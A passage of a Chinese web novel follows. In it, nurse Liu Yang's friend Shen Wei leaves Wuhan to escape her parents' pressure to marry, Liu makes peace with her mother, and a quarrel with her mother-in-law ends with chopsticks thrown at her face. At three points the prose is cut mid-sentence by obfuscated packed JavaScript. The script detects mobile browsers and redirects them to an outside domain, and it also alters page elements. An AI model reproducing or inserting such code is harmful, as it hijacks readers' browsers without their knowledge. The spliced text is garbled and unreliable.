柳漾和陈玉兰仍在胶着期,互不联系,随着职称考试临近,柳漾连上班口中都念念有词,背诵各种知识点。开完交班会,沈维喊她一起吃晚饭,柳漾给张玢发信息,她不回家吃饭了,张玢回道:“怎么不早点说?” 一顿饭快吃完,沈维向柳漾告别,她向院里打了辞职报告,下次大夜她就不来了,柳漾接受不了:“怎么这么突然?” 沈维说:“想了很久了,前段时间你从桂林回来,心情不好,我就没说。” 沈维成年后决定不婚,当护士看过太多人情冷暖,更坚持认为婚姻不是她人生的必选项。尽管很多女人看起来没男人不能活,但很多女人不是这样。柳漾和她探讨过:“将来遇见很相爱的人,也不结婚吗?” 沈维笑答:“很相爱,他就会尊重我的决定啊。” 可惜沈维的父母很难理解她,本地女孩结婚早,这一代又比上一代早,柳漾这种24岁就结婚的不少,沈家父母总拿她举例:“漾漾跟你玩得好,她怎么就那么按部就班?” 沈维说:“人各有志。你们不要对我抱有幻想,我十几岁就决定了。” 沈维父母是经人介绍结婚的,那年代大多数人都那样,他们不相爱,但也不太吵架,是比较本分的家庭。沈维21岁那年他们就着急了,频繁让人帮忙介绍对象,还打着看病旗号,让人来医院相看。 沈维跟爸妈说过几次,他们挺委屈,沈维太忙了,休息日作息不规律,带去医院比较自然。沈维烦了,甩出不婚主义,但事与愿违,不仅没换来耳根清静,还在眼光高、为人挑剔之外多了一宗罪,她爸妈觉得她很偏激,归结于她在护理学校受过感情刺激。 那段感情无疾而终,沈维连那男人的模样都记不清了。她反复跟父母沟通过,不婚是个人选择,不伤天不害理,但父母总说女人再要强,也得有个归宿,沈维反驳:“那么多人都离婚了,结婚算什么归宿?” 沈父说:“你不能还没结婚就想着离婚。” 沈维给他们看全国离婚率:“比例不小吧。” 最近,沈维和爸妈又吵了几次架,每次话头都是爸妈控诉她不婚:“你表妹比你还小两岁,二胎都要生了。” 沈维自问过,从小到大,在恋情上没受过打击,但究竟何时树立了不婚的打算,竟不可考了。可能要追溯到初中时期,她和班里的体育委员互生朦胧情愫,在心里鼓出甜蜜的泡泡,表妹来家里做客,她忍不住一再对表妹提起那男孩,提了几次,被她妈发现苗头了。 沈维爸妈没跟她谈过心,一句话也没有,他们只是在随后的家长会后,特意找到班主任,请求把沈维和那男孩的座位调得远些。 沈母和班主任交谈时,有几个同学家长没走,第二天,沈维去上学,班里所有同学都知道她和体育委员的事了。体育委员被调到她同一组后排,课后,班主任走到沈维面前,弯腰现身说法,她和丈夫是高中同学,但忍到大学才在一起,她理解沈维情窦初开,但这份爱慕应该压在心底,不能过早开花。 15岁,沈维被爸妈出卖。很多往事不再提起,但都记得。这一桩桩类似的事,让她明确一件事,她的父母不是她的自己人,他们自认管教不了她,寄望于外人,从前是班主任,后来是假想中的女婿。 平心而论,三餐菜式四季衣裳,爸妈没有亏待过沈维。沈维是独女,爸妈很爱她,但爱得不得其法,他们不在乎她的想法,只在乎她是否符合他们的期待。如果他们对她毒打辱骂,她可能早就离开家了,而不是心怀内疚,一次次自责于自己让爸妈失望。 柳漾感到痛心。家庭不是沈维的港湾和后盾,爸妈一年年用言行绞杀了女儿对成家这件事本该拥有的温情,成年后,沈维不认为必须走进婚姻,创建家庭。 另一些没能从家庭获得支持和温暖的人,则分外向往,早早走进婚姻。但爸妈永远不会反省,只会认为女儿是异类,喋喋不休地追问:“你为什么跟你表妹不一样,跟别人不一样?” 沈维说:“她是她,我是我,我为什么要跟她一样?而且我没觉得她过得多幸福。” 沈母说:“哪里不幸福了?起码有个家,有人照顾。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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上周,沈维下大夜班,睡到中午起床,出租屋的门被敲响了,她妈和她小姨带着陌生男人上门。小姨说男人是同事的外甥,最近一喝咖啡就心悸,找沈维问问原因。 沈维立刻就知道,相亲的人上门了。这是一套合租房,客厅被室友占着看电视,沈维提出去楼下果汁店坐坐,她妈却示意她带那男人去卧室谈谈。 沈维难堪至极,跟那男人站在阳台上聊天,那男人挺自来熟,但谈了没几分钟,沈维就听出不是一路人。 那男人走后,沈维大发雷霆,卧室是闺房,妈妈怎能这样不在乎她的感受?小姨连忙说:“他是我同事的外甥,是熟人,再说我们都在场,你不能对人这么不信任吧,大家都是年轻人,文明人,不可能怎么样。” 柳漾气极了:“她们年轻时相亲,除了在家相看,还有公园呢,现在到处都是咖啡馆和餐厅可以聊天,干吗让他进你卧室,也太不讲究了。” 妈妈和小姨满脑子都想着把沈维嫁出去,连最起码的分寸都想不到了。沈维发作,她们反而喊冤,每次喊沈维出去喝茶,她都不配合,她们才陪男人上门的,而且让他俩去卧室谈没别的意思,只怪客厅有人,不方便。沈维暴怒,但妈妈挺委屈,认为她太敏感,动不动就炸毛,还上纲上线。 柳漾气得说不出话,沈维不婚不育,一不违反法律,二不触犯道德,她父母亲人却偏偏把她视为怪物,可是放眼这世界,看看数据,多少人不婚,多少人丁克,多少人同性恋,从不是个案,而是群体。就算是个案,就该死吗?他们为什么不明白,这世上什么样的人都有,自然包括对婚育生活不感兴趣的那些。 那天,沈维摔了杯子:“我单身你们就想逼死我吗?” 沈母想不开,明明是为女儿好,女儿却暴跳如雷,沈维也想不开,说再多也没用。以前是骗回家,家里坐着男人,如今是带男人上门,还往卧室里赶,在彻底被恶心之前,她得走。 柳漾问:“非得辞职不可吗?” “我在武汉,他们就还会无孔不入,走一脚,天高皇帝远,自在。”沈维交过两次辞职报告,第一次,护士长没批,第二次,科室主任也不批,她们都知道沈维为何会走,提出送她去进修一年,但沈维不想留后路了,她是主管护师,走到哪里都能有口饭吃。 院里有人给沈维介绍过对象,沈维说出自己是不婚人士,却遭到非议,没本事嫁个好男人,怕被不好的拖累,才说不婚的,有本事嫁得好的才不会这样,有人暗暗怀疑她不能生育。 亲戚劝过沈维,不婚不育不愿付出,只知道自己瞎玩,有没有为父母想过?做人不能太自私自利。沈维说:“自私自利怎么就不行?我认真上班,守法纳税。我没有伤害任何人。” 亲戚说:“可你伤害了父母!” 沈维反驳:“他们怎么不觉得这样强迫我去做不愿意做的事,是在伤害我?就因为他们是父母,我就得按他们的想法去过我不想过的生活?他们只有这一生,我也只有这一生。” 工作这几年很累,沈维想先去旅行散心,再去一线城市比如北京上海找家医院工作,公立私立都行。柳漾心情沉重:“你爸妈知道吗?” “辞职报告批下来再说,既成事实他们就没办法了。”沈维还剩最后一个小夜班可以和柳漾共事了,两人都舍不得对方,沿着东湖漫步。 沈维对武汉满怀留恋,这是她从小生活的地方,若不是被父母逼迫太甚,她原本可以一生一世都在这座城市居住,但她在和父母的拉锯中心力交瘁,不得不远走他乡。 16. 第 16 章 柳漾回到香榭水岸,将近十点半,张玢闻见她身上的酒气,喝道:“喝酒去了?” 柳漾洗着脸,淡淡道:“沈维要去上海,喝了两杯红酒为她送行。” 张玢追问原因,柳漾敷衍:“人往高处走,上海有家医院请她去做护士长。” 张玢奚落沈维不理智:“上海哪是那么好混的,已经二十七八岁了,老姑娘了,在上海混不出名堂,就更没人要了!” 柳漾看她一眼:“维维是我最好的朋友。” 儿媳妇竟然在让自己闭嘴,张玢火冒三丈:“护士长在上海算个什么?一把年纪心里没个数,拖到三十几就只能找离婚死老婆的,给人当后妈。她要不是跟你玩得好,我还不说这话呢,我也是为她好。” 沈维爸妈“为她好”,让她背井离乡,你“为她好”,是在体现你对她有优越感罢了,你算个什么东西,她需要你为她好?柳漾笑了一下:“维维有她自己的路,哪天缘分说来就来了。” 赵捷成为柳漾解围,喊走张玢:“老张,你手机好像响了!” 柳漾关上卫生间的门,拧开热水器,对着墙大骂了几句。她刚才故意没掩饰对张玢的鄙夷和愤怒,张玢都看出来了,随便她。张玢不在意她的感受,说话蠢头蠢脑,她为什么一定要忍让? 赵东南回家后,柳漾原原本本都说了,赵东南也郁闷:“沈维要走,你心情不好,她还雪上加霜,她脑子怎么想的?” “我丑话说在前头,下次我说话也蠢,大不了被她说不懂事,不懂事这个领域我鲜有对手,以一敌百。”柳漾说得赵东南大笑,跟她腻了好一会儿。 早上,柳漾等一家人都走了,才慢悠悠起来洗漱,中午早早吃了饭,赶在张玢回家之前出门去看她妈。 冷战了快一个月,是时候求和了。若不是沈维辞职,柳漾可能还意识不到,她对她妈扮演了沈家父母的角色,打着为她好的名义,一再地伤害她。 自从陈玉兰要和柳志华复婚,柳漾又愁又烦,疲惫不堪,但都是她自找的,她妈并没有要求她做什么。她结婚前夕,她妈说得清清楚楚,从这个家出去,就展开新的人生,哪怕是母女,也各有各的路要走。 沈维爱她爸妈,才会反反复复忍受着那些被伤害,柳漾心如刀割,她妈又何尝不是,哪怕全天下都说柳志华是渣男,浪荡半生,临终让她收尸,她全然不在乎,只要心里舒坦就行。 柳漾敲门,没人开门,她掏钥匙进去,陈玉兰竟然不在家里,厨房灶台擦得干干净净,电饭煲里的剩饭被盛出来,放在冰箱里。 往常陈玉兰休息在家,总会午睡,柳漾特意去超市买了菜才回来,看时间,下午两点,太阳正晒。去桂林之前,陈玉兰就已经辞职了,她会去哪里? 柳漾炖上排骨玉米汤,一边择菜,一边推敲如何向她妈道歉。哪怕是母女,也是两个不同的人,理应有边界,但她这些时日一直在越界。谁也不能替谁活,她妈为什么一定要听她的? 晚上快六点,陈玉兰还没回来,柳漾发出信息:“回家吃饭,我做好了。” 陈玉兰却说她吃了再回来,让她自便。等她回家,柳漾没有追问,只是有些好奇,陈玉兰肯定是去探望柳志华了,冯鹃没意见吗? 陈玉兰不打麻将,也不爱串门,离婚十几年都活得冷冷清清,柳漾开了电视,让家里有些响声,跟她妈道了歉:“你没对我指手画脚,我以后也不对你指手画脚了。” 陈玉兰愣住,柳漾又说:“你们的问题,你们内部解决。我不能拿我的标准去套你,以前是我做错了。” 陈玉兰吓一跳:“你是跟东南闹矛盾了,还是跟你婆婆吵架了?” “维维不想结婚,被她爸妈逼得要跳楼,只好辞职去上海了。”柳漾以为陈玉兰这种坚持要和绝症病人复婚的女人不会懂沈维的处境,但陈玉兰幽幽长叹,“何必把伢逼得走投无路,不嫁人家里也养得起,况且维维养得活自己。” 柳漾鼻子酸了:“妈,怪就怪在我以前太自以为是。” 陈玉兰笑了笑:“人生就是这样,不见面的时候,各人把各人的生活过好,见了面,就高高兴兴一起玩。以后想维维了,就买张票去看她,现在高铁方便。” 柳漾没问柳志华的情况,陈玉兰主动说了:“你爸有腹水,肚子胀,冯鹃还不同意离婚。” 柳漾烦:“那你们两个怎么办?” “过完暑假再说吧,那伢也可怜。”陈玉兰说冯鹃的日子不好过,夜市取缔了,她只能在家煨汤,做点砂锅粉丝煲,生意很差。 柳漾鼻子酸得更厉害,如果自己是柳志华,死亡突至,妻儿的生活却陷入困顿,会不会恨老天不肯多给一点时间?陈玉兰看出她难受,安慰道:“都是过惯苦日子的,这次也能熬过去。你爸工资她都存着,手上有点钱,一边撑着一边找门路吧。” 回香榭水岸路上,柳漾着意观察居民区,以往热火朝天的摊位确实少多了,路也通畅了。娘家附近这几条路,十来年都被摊点占道经营,水泄不通,去年有户人家失了火,消防车开不进去,6人遇难,夜市管理部门痛下决心,取缔了这一带的夜市。居民当然拍手称快,但摊主们生活失去着落,闹了几次事。 沈维在617医院最后一个小夜班,曹燕林送来水果和饮料,她经过制衣厂培训,已能胜任工作,开始有收入了。 下个月,曹燕林和丈夫离婚官司开庭,律师让她放心,一定能有好结果。曹燕林很感激医护人员帮了她,助她逃出苦海,科室主任徐怡翎很诧异:“我们也就给你治了病,别的没帮上吧?” 曹燕林对柳漾笑:“柳护士让她亲戚帮我找了妇联的人。” 柳漾说:“好好谢谢他。” 曹燕林说已经去过秦飞公司了,柳漾笑着走了。21岁的小个子女人,再害怕不能养活自己和女儿,也竭力去改变,不苟且于那惨痛的婚姻,她很敬佩。 沈维站好最后一班岗,她打算先去苏杭玩一圈,再去上海工作,有一家私立医院通知她下周去面试,问题不大。 凌晨下了班,两人相约一起午饭。柳漾睡到自然醒,给张玢发信息:“妈,中午我有事出去。” 张玢没回复,午饭后,柳漾把沈维送上去苏州的高铁,回了娘家。陈玉兰仍不在家,柳漾翻柳志华的朋友圈,连续翻了若干条,查到三月末,柳志华拍了几张小区里的樱花照片:“看花何须去武大,宏达天下都是它。” 宏达天下是老小区,门禁约等于无,柳漾在小区门前的车位停了车,往里走了几步,就看到她爸妈了。小区中心区的凉亭里,柳志华在跟看门老头下棋,陈玉兰坐在边上剥毛豆。 柳漾在稍远处的石凳上坐了,陈玉兰和柳志华隔点距离,并不交谈,柳志华连着下赢两盘,被邻居笑着轰开,他把小板凳搬开一点,当个看客,仍不和陈玉兰说话。 柳漾看了快一个小时,陈玉兰站起身活动颈椎,发现了女儿。她走来问:“你怎么来了?怎么不去跟你爸说话?” 柳漾问:“他吃饭情况怎样?” 陈玉兰说:“吃得少,肚子总在疼,中午又吃了止疼药。” 柳漾拈去陈玉兰衣服上沾的一粒豆屑:“你来给他做饭?” 出乎她意料,陈玉兰竟在这小区找了一份工作。小区有几对年轻夫妻,都是外地人,孩子下午放学早,他们没空去接,让孩子在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574762|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托管所待着,但托管费和晚饭钱加在一起,一个月要花上千把块。在柳志华介绍下,他们合伙聘请陈玉兰接孩子回家,再做顿大锅饭,他们到家就能吃上。 幼儿园和小学都不远,两站公交车就到,陈玉兰有钱赚,还能每天和柳志华待一会儿,很是高兴。柳漾喉头一哽,陈玉兰看看时间,她得去接孩子们了,柳漾说:“我送你去。” “我骑你爸的电动车去。”陈玉兰问,“你爸怕你还怪他,不敢找你,你能跟他说说话吗?” 柳志华看起来非常虚弱,但精神状态还不错,他说想带陈玉兰回趟团风,去看他选的墓地。柳漾说:“你挑个我休假的日子,我也去认个路。” 除了老家,柳志华还打算回他早年工作的机械厂转一转,那里拆迁了快二十年,早已盖了小区,还建了大超市,但他仍想再去看一眼。 冯鹃打来电话,柳志华匆忙结束谈话:“杰杰他妈醒了,我上楼去了。” 柳漾奇道:“快四点了,她午觉睡这么久?” 冯鹃还保持着出摊的作息,凌晨4点多起床去批发蔬菜,吃完早饭去补觉,中午简单吃一点,切葱切香肠,再徒手把藕节掰断,用小棍砸成小块,然后丢进铫子里,里面的排骨已经煨熟,继续用微火煨着,再去睡一觉,下午四点起来洗菜择菜,为出摊做准备。 冯鹃不用刀具破藕,她说手动破开的藕横切面面不规则,才能吸收更多的调味和汤汁。夜市被取缔了,她在网上卖点砂锅粉丝煲和卤味,想把之前囤的干货等食材消耗完。 这段时间,冯鹃毛焦火辣,柳志华没敢提离婚,对柳漾说:“我还是想在我死之前办完这件事,修正最大的错误。” 他和冯鹃育有那么大的儿子,错误已成事实,但这是陈玉兰的执念,柳漾不伤她爸的心:“我也回去了。” 柳漾掉头就走,但知道柳志华在看她,小时候,柳志华送她去上学,总站在校门口看她穿过操场,跑进教室才走。多年后,她爸把日子搞得这么惨,又想跟陈玉兰见面,又不想让冯鹃给陈玉兰难堪,两人每天在凉亭里见一面,默默陪伴,不说话。 柳漾边走边哭,秦飞拎着一盒披萨,喊她:“柳漾?” 柳漾把眼泪鼻涕吸溜回去,秦飞问:“我妈骂你了?” “没有,我没见到她。”柳漾快步走向自己的车,秦飞愣怔一下,追上她,硬塞给她一只提拉米苏,“吃点甜食心情好。” 柳漾说:“谢谢。” 八月中旬的武汉,骄阳似火,两人站在树荫里聊几句。秦飞说冯鹃死也不肯离婚,他劝不动,但还想再帮柳志华试试。 柳漾揶揄:“刚见面那次,你巴不得把老柳赶走,中间动摇了,现在又不忘初心了?” 秦飞笑说:“心软,看不得你爸妈为情所困。” 柳漾轰然大笑,秦飞摇头:“我看你还没想通。” 柳漾纳闷:“什么意思?” 秦飞问:“你妈今年多大?” 柳漾不明白他为什么这么问:“四十九。” “没谁规定当妈的人就不能恋爱吧,她怎么就不能为情所困了?”秦飞问她,“你来看你爸,出于什么目的?” “以前反对得太激烈,不是东西。现在想明白了,看不惯也算了,一家人就该互相包容。”柳漾敲敲秦飞拎的披萨盒,“请你弟弟吃的?冷了就不好吃了,回去吧。” 秦飞往小区里跑,忽然想到,那也是柳漾的弟弟。他今天见客户,不用回公司打卡下班,买点柳俊杰喜欢吃的哄哄他。早上柳志华又吐得翻江倒海,柳俊杰大哭,冯鹃下楼买他爱吃的三鲜豆皮,跟插队的人爆吵一架,家里没一个开心的。 17. 第 17 章 经过超市,柳漾去买海鲜,一只提拉米苏下肚,她晚饭不能再吃热量高的。到家已过五点半,张玢下了班,在厨房剁肉馅,柳漾推门,笑道:“妈,晚上又有肉圆子吃啊?” 张玢黑着脸,哼道:“考试准备得怎么样了?” “差不多,再突击一下。”柳漾买了三文鱼,去拿盘子,张玢眉一皱,拿起来看标签上的价格,甩在面台上,发了火。先骂柳漾钱没赚到几个,吃穿大手大脚,再骂她没上班居然还不做饭,穷出身的姑娘一身大小姐脾气,柳漾起先还忍,但“不做饭”一出,她才知道中午她没做饭,张玢记了仇。 自己的妈在帮人做饭,婆婆却骂她不做饭,柳漾语气有点重:“跟你说了,中午送维维去了。” 张玢拿两根筷子飞快地绞着肉馅,唾沫横飞:“一天到晚这个那个的,尽会找理由!又不做饭又不生伢,娶回来是当菩萨的?” 柳漾再忍也不是她了:“三十几块的三文鱼,你都嫌我花钱,我生伢你舍得请月嫂?不请月嫂,我自己带,至少几年不能出去上班,不赚钱,你肯定又有话说,我出去上班,你辞职帮我带伢?” 柳漾居然敢顶嘴,语气还很冲,张玢大怒,提起筷子砸来,柳漾头一偏,筷子擦着她的右眼角飞过,落在地上。 右眼角生疼,差一点就扎到眼睛里去了,柳漾惊魂未定,余光看到眼角还沾了一点肉沫子,掏出手机,自拍了几张,冷冰冰地说:“筷子能戳瞎人的眼睛,你晓得吧?这件事我不饶你。” 张玢色厉内荏:“借题发挥!” “借题发挥的是你,饭就该是我做?”柳漾不介意撕破脸,她做小伏低也没讨到婆婆的好,从今往后再也不忍。她把照片发给赵东南,附上语音,“你妈用筷子扎我,你看着办。” 右眼角渗出血,柳漾拿出医药箱处理了,怒冲冲摔门而去,赵东南让她找家餐厅吃饭,他马上就回家。柳漾哪儿都没去,在小区外面的中介公司打听这一带房价,一个小时后,赵东南回了。 张玢突袭力道很大,柳漾右眼皮肿得耷下来,眼角和眼白都带有血痕,稍稍偏上一丁点,就非常危险,赵东南气极:“搬出来,我们出来住!等下就看房!” 进了家门,赵捷成下班回来了,对赵东南指指一楼书房,很愧疚地剥个香蕉给柳漾:“消消气,你婆婆也晓得错了,我让她反省,我给你道歉。” 柳漾冲着书房大声道:“爸,说对不起的不是你!” 赵捷成压低声:“你婆婆不是故意的,单位提拔了另一个人,她还是副科级。那个人比她年轻十几岁,她有气。” 柳漾给赵捷成面子,恢复正常声量:“爸,不是我让她没评上的,她有气不能撒到我身上。” 赵捷成说:“更年期,更年期。” 书房里传来母子俩的争吵,张玢也抬高嗓门,存心让柳漾听到:“吃我的住我的,说几句还听不得?句句跟我顶,冇得家教的东西!” 柳漾冲进书房:“你嘴巴放干净点!不住就不住,我走!” 赵捷成把张玢拉开,柳漾甩开赵东南的手,上楼收拾衣服,赵东南气得语无伦次:“把眼睛戳瞎了怎么办,不跟你道歉,也不能还骂你没家教吧,她怕是疯了。” 柳漾收拾了换洗衣物,让赵东南去书房帮她把考试书籍搬来,统统塞进旅行箱,赵东南拎起:“回你妈那边住几天,明天我们分头在网上找房子,我一下班就让中介带去看。” “我回单位宿舍住。”柳漾指着眼角,“被我妈看到了,肯定以为是被婆婆赶出来了,我不想再惹她烦心。” 赵东南把柳漾送出门,赵捷成欲言又止,猛对张玢使眼色,张玢脸上僵了一下,冲她儿子道:“洗手吃饭!” 这就是她的求和了,赵东南看着柳漾,柳漾想到张玢砸筷子就来气,得趁这次来个狠的。她二舅妈对她外婆不好,毫无愧疚,活得好得很,她就该唾面自干?当下拉着脸,冲张玢喝道:“叫你一声妈,你就有资格打人?给脸不要脸!” 张玢脸都气白了,柳漾拖过旅行箱,推开门走了。赵东南追出来,电梯里,两人都无话,一楼到了,柳漾给赵东南按了顶楼:“你回去吃饭吧。” 赵东南说:“气都气饱了,走,外面吃。” 柳漾嗔道:“三十几块钱的三文鱼,她都骂我大手大脚,你不回去吃饭,她又要怪我把你带坏了。” 赵东南这才知道争吵的起因,很郁闷:“你花自己的钱,想买什么买什么,她管得太多了。” 柳漾负气:“她觉得跟你结婚就是你家的人了,钱也是你家的,她管得。” 小区门口有家牛肉拉面馆,赵东南吃面,柳漾吃凉拌菜,吃完东西,赵东南硬着头皮回家,柳漾开车回医院住宿舍。 赵东南进家门,他爸仍在看电视,冲卧室努努嘴:“你妈睡了。” 赵东南坐过去:“我和漾漾搬出去住。” 赵捷成说:“不如我和你妈搬回徐东那边,你俩住这边。” 徐东那套房子租出去了,提前收回来得支付违约金,赵东南了解他妈,赔钱她舍不得,从这里搬走,更舍不得,她每天走路上下班的日子过惯了。 赵东南和柳漾的共同户头有几十万,他想找朋友借点钱,买个二居室付首付,一来缓和家庭关系,二来也算投资,买理财基金不如买房子。赵捷成悄然说他能赞助一点小钱,但他的工资奖金都归张玢管,对儿子作揖道:“这几天别惹你妈,我冇得办法了。” 张玢是硬脾气,赵东南从小就知道。他读小学的时候,赵捷成单位来了一个从下面县市调上来的女同事,用张玢的话说,一天到晚往你爸跟前凑,又不是不晓得他结了婚! 张玢读了大专,自认为文化程度高,要脸,不去赵捷成单位撒泼,但她有绝招,对赵捷成又掐又挠,尽往脸上招呼。赵捷成脸上挂了彩,在单位传为笑谈,张玢多挠几次,他服了软。 有天单位发降温补助,赵捷成喊张玢去拿,张玢进门,赵捷成跟女同事说:“介绍一下,这是我爱人,张玢。这是我们科的小李,李如玲。” 张玢满意归满意,但李如玲很年轻,还颇有几分姿色,她得防患于未然,给李如玲打了电话,要跟她单独谈谈,李如玲当着全办公室的人面接起她电话,开了免提:“赵夫人,我就两句话,我是军婚,我跟我爱人青梅竹马,请你不要再把我当假想敌。” 赵捷成无地自容,有人私下告诉他,李如玲的丈夫是下面地级市军分区的团长,前途不可限量,赵捷成想让张玢道歉,但张玢硬着颈:“自己行为不检点,就莫怪别人说!” 赵东南读高中时,李如玲的丈夫调到省里,他开他爸的玩笑:“没打压你吧?你们那时候真没什么?” “新来的,不懂业务,她觉得我们办公室我最面善,找我多问了几句,被你妈看到了,就找我闹。”赵捷成十几年来只加了一级岗位工资,张玢嫌他单位小气,有时也嘀咕几句,“是不是我得罪那个李如玲了?” 赵捷成从来不接话茬,自顾自电视。李如玲人不错,总是和和气气的,要是真报复他,他能有现在的日子过? 柳漾在单位宿舍住下了,护士是轮班,床位总有空余。有的护士没买车,下了小夜班打车回家不安全,打车费又贵,在宿舍睡到天亮就有公交车了。 柳漾只要不当班就去看房子,本想也买在香榭水岸,但这一带去年到今年又涨了不少,只能买得远一点,可是稍微有几套能入眼的,一算首付,还差几十万。 赵东南找同学朋友借钱,但借钱方知开口难。有钱的关系不到,开不了口,能开口的各有各的难处,尤其是生了孩子的,夫妻俩都是工薪阶层,再要好,也只能借出两三万。赵东南大学时最要好的是小五,小五借了6万,这么东拼西凑,仍有几十万缺口。 沈维在苏州旅游,还换了新手机号,不和家里联系,但每天都给柳漾发送照片,柳漾为买房发愁,没心情,只回了漂亮两个字,沈维打来电话一问,转账5万块:“我先借你这点。” 沈维离开后,护士长调了班,柳漾比以前忙,这5万块钱她没想好拿不拿,上海租房子贵,沈维手上多留点钱,心里才保险。 一个大学女生被人送来看急诊,她站在公园标志雕塑上玩直播,名牌包里的口红掉落,她忘乎所以,随手一捞,从雕塑上栽下,撞断了一截胸骨。大学女生哭得上气不接下气,柳漾为她输液,沈家父母来医院了。 沈维离家数日,他们才发现端倪,请求院里保留沈维的编制,但流程早就走完了,护士长爱莫能助。沈母找上柳漾:“你跟维维玩得最好,你能不能帮着劝劝她?长这么大,就没离开武汉,跑那么远做什么?” 这两人竟然还意识不到真正的问题,柳漾说:“你们不逼她结婚不行吗?有的人哪怕是酒鬼赌棍,杀人放火,家里都帮他藏着瞒着,维维又没做错事,你们何必总是扳着她?” 沈母听得刺耳:“没碰到合适的,就慢慢找,我和她爸爸都能理解。哪能不结婚呢,不就是缘分还没到,我们保证不催她还不行吗?” 沈父叹声气:“你还不是结了婚?” 有个病人突发胸痛,拉上救护车心脏就停了,医生们持续心外按压,好容易把病人拉扯回来,病人的儿子发飙了,病人肋骨断了一根,医生们却不采取任何措施。 医生解释,按压过程出现肋骨骨折是常有的事,急诊骨科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574763|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过了,没有特殊情况,静养就行,不用打夹板之类。病人的儿子仍不依不饶,护士长安排柳漾搬个小板凳,坐在加床旁边关注病情变化,顺便为她解个围。 柳漾看了半个多小时,病人心率、血压都比较稳定了,他儿子这才舒口气,放过她了,哪知沈家父母没走,仍在等她。 沈父说:“我们真没办法了,你跟维维从小玩到大,只有你能劝她。” 沈母焦急不已:“她年纪不小了,学历又不高,在外头怎么混?她是不是去了北京上海深圳?一线城市压力大,消费高,存不下钱,还把身体搞垮了,怎么办?” 柳漾和沈维小时候是邻居,柳漾读幼儿园的时候,没少去沈家蹭饭吃,她不忍对沈家父母说重话,但连沈维都说服不了他们,她不费力气了。沈维早就说过,每次都和爸妈互相说一车轱辘话,但都是自说自话,谁也奈何不了谁。 爸妈总觉得外面多艰难,但他们不知道,儿女人生最大的难处,来自他们的逼迫。工作辛苦,回家还得被他们催婚催生,催得无处可躲,不走还能怎么办? 柳漾带沈家父母去综合病房看一位62岁的病人,她洗澡滑倒,摔伤了尾脊骨,躺着不能动,屎尿都在病床上解决,她女儿给她请了护工,周末才来看她。 那女儿给她妈喂饭,粗心马虎,爱答不理,沈母还以为是护工:“那个汤,都流到围嘴上了,太不负责了!” 沈父问:“她儿女呢?” “这就是亲生姑娘。”柳漾去查体温,女儿骂道,“总叫我听话,你自己呢,叫你垫个地垫,不听,怎么就只摔断尾巴呢,摔死了才好!” 走到楼道里,沈家父母义愤填膺,责备那女儿不孝顺:“妈在床上动不得,嘴还这么毒!” “有原因的。”护士们一开始也觉得那女儿过分,但走来走去的,听到母女之间一些对话,爱也好,恨也罢,都不是无凭无据的。女孩读幼儿园的时候,她妈带她去吃喜酒,婚宴后她妈打麻将,她被棋牌店对面街上的玩具摊吸引,蹲在地上玩了半天。晚饭时间,她妈才发现她不见了,又急又暴躁,抓住就一顿毒打。 后来女孩她爸去广东打工,经年不归,也不寄钱回家,她妈气不顺,动辄拿女儿出气。女孩她爸在那边有了事实婚姻,对方生了儿子,爸回武汉办离婚,女孩她妈当然又拿女儿撒气,直到女儿成年。 妈妈对女儿又打又骂,等女儿长大了又要求她常回家看看,张口闭口就是“妈把你养这么大不容易”,似乎从没想过她女儿也是人,是人就会记得被伤害的经历。 沈母很疑惑:“她不孝有她的道理,我们没这样对维维。维维就是性格太古怪了,还不爱跟我们沟通……” 让长辈反省真是太难了,闹矛盾了,他们也只会认为是小辈不懂事,任性,柳漾对宋青眨下眼睛,宋青会意,把她喊走了。 沈家父母只得告辞,敦敦叮嘱柳漾:“维维要是联系你,一定要告诉我们。” 柳漾虚与委蛇,赵捷成发来几条消息,他说张玢意识到错误,还问漾漾回不回吃饭,柳漾把手机塞回口袋,不回复。不当面诚恳道歉,就不算认错,她这人就是心胸狭窄,斤斤计较,若不是尊重赵东南,她早就跟张玢翻脸了。这次拿筷子砸她,下次是不是就是菜刀了?这件事没完。 后半夜,柳漾总算不那么忙了,去留观室看上次白班收进来的婆婆。婆婆82岁了,慈眉善目,柳漾总觉得她很像外婆。婆婆腿脚利索,眼不花耳不聋,每天散步买菜,生活规律,但吃不下睡不着,家人把她送来医院,医生没检查出问题,推测可能神经衰弱,于是留院观察。 婆婆跟另外一个女病人住一间房,家人每天守到晚上快十点再回家。婆婆在病房也睡不着,同屋病人很爱闲聊,天一亮就拉着婆婆去吃早饭,但婆婆情绪低落,不爱说话。 柳漾去查房,发现婆婆不在床上,再一找,她躲在卫生间里哭。柳漾哄了好大一会儿,才知道婆婆的老伴上个月去世了,她每天都很伤心,想自杀。天亮后,柳漾找来精神心理科的医生,医生评估婆婆患有严重的的抑郁症。 婆婆的女儿已做了外婆,送完外孙女上幼儿园,赶来医院,她很惊奇:“我爸爸走的时候87岁了,这算高寿吧,而且无病无灾,吃完饭睡午觉,走得很平静,我妈还想不开?” 